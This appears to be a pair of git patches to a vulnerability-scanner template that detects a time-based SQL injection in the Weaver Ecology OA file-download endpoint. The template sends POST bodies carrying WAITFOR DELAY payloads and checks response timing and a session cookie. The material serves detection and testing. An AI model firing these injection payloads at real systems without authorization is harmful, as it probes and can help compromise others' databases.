From 0f9ea410fa47f929d74296fdac44ae81025e6303 Mon Sep 17 00:00:00 2001 From: J4vaovo <128683738+j4vaovo@users.noreply.github.com> Date: Tue, 31 Oct 2023 18:54:08 +0800 Subject: [PATCH 1/2] Update ecology-oa-file-sqli.yaml --- .../other/ecology-oa-file-sqli.yaml | 20 +++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/http/vulnerabilities/other/ecology-oa-file-sqli.yaml b/http/vulnerabilities/other/ecology-oa-file-sqli.yaml index 2d72ba3eed..17c641b7b2 100644 --- a/http/vulnerabilities/other/ecology-oa-file-sqli.yaml +++ b/http/vulnerabilities/other/ecology-oa-file-sqli.yaml @@ -23,14 +23,26 @@ http: Host: {{Hostname}} isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:7' + - | + @timeout: 25s + POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1 + Host: {{Hostname}} + isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:15' + + matchers-condition: and matchers: - type: dsl dsl: - - 'duration>=7' - - 'status_code == 200' - - 'content_length == 0' - - 'contains(set_cookie, "ecology_JSessionid=")' + - 'duration_1>=7' + - 'status_code_1 == 200' + - 'contains(header_1, "ecology_JSessionid=")' condition: and + - type: dsl + dsl: + - 'duration_2>=15' + - 'status_code_2 == 200' + - 'contains(header_2, "ecology_JSessionid=")' + condition: and # digest: 4a0a004730450220706de22bcda877d015e3158b4912359fceab8b5c6888f625675921c48ebf595f022100baf7463de1956ebc43063ae318c3e1e9b4ee0e96dc1652136e8c0b3c68ae1978:922c64590222798bb761d5b6d8e72950 From 15208b8a09775593d50e9b03a3e859976150104a Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Fri, 3 Nov 2023 16:23:09 +0530 Subject: [PATCH 2/2] Update ecology-oa-file-sqli.yaml --- .../vulnerabilities/other/ecology-oa-file-sqli.yaml | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/http/vulnerabilities/other/ecology-oa-file-sqli.yaml b/http/vulnerabilities/other/ecology-oa-file-sqli.yaml index 17c641b7b2..25dff24550 100644 --- a/http/vulnerabilities/other/ecology-oa-file-sqli.yaml +++ b/http/vulnerabilities/other/ecology-oa-file-sqli.yaml @@ -24,7 +24,7 @@ http: isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:7' - | - @timeout: 25s + @timeout: 35s POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1 Host: {{Hostname}} @@ -34,15 +34,10 @@ http: matchers: - type: dsl dsl: - - 'duration_1>=7' - - 'status_code_1 == 200' + - 'duration_1>=7 && status_code_1 == 200' - 'contains(header_1, "ecology_JSessionid=")' - condition: and - - - type: dsl - dsl: - - 'duration_2>=15' - - 'status_code_2 == 200' + - 'duration_2>=15 && status_code_2 == 200' - 'contains(header_2, "ecology_JSessionid=")' condition: and + # digest: 4a0a004730450220706de22bcda877d015e3158b4912359fceab8b5c6888f625675921c48ebf595f022100baf7463de1956ebc43063ae318c3e1e9b4ee0e96dc1652136e8c0b3c68ae1978:922c64590222798bb761d5b6d8e72950